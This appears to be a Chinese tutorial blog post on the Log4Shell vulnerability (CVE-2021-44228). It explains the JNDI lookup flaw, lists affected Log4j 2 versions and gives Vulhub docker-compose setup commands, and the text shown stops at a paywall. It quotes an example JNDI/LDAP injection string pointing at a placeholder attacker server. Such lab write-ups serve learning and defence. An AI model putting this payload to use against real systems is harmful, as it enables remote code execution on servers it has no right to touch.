1、简介
CVE-2021-44228,被广泛称为“Log4Shell”,是一个高危的远程代码执行漏洞,影响了Apache Log4j 2,这是一个在Java应用程序中广泛使用的日志记录库。
2、漏洞原理
这个漏洞的根本原因在于Log4j 2的日志消息查找功能,该功能允许插入特定的模式,以便从不同的数据源动态获取信息。攻击者可以通过向Log4j传递一个恶意构造的字符串操纵JNDI(Java Naming and Directory Interface)查找,以执行LDAP(轻量级目录访问协议)或其他JNDI支持的查询。例如,攻击者可以提交一个包含${jndi:ldap://attacker_controlled_server/payload}的字符串到日志消息中。如果这个消息被记录,Log4j会尝试解析这个字符串,并进行JNDI查询到指定的URL,这可以导致加载并执行攻击者指定的恶意代码。
3、影响版本
Apache Log4j 2.x < 2.15.0-rc2
4、环境搭建
本文用到的是Vulhub搭建的环境,如何下载Vulhub并启动可参考这里
进入到CVE-2021-44228目录,执行如下命令启动环境。
docker-compose up -d

查看环境信息
docker-compose ps

这篇文章详细解释了Log4Shell漏洞,涉及其原理、影响的ApacheLog4j2版本,以及如何在Vulhub环境中搭建并验证漏洞。作者介绍了使用burp插件检测漏洞的方法,并演示了漏洞利用的过程,最后给出官方推荐的修复建议。
最低0.47元/天 解锁文章
1714

被折叠的 条评论
为什么被折叠?



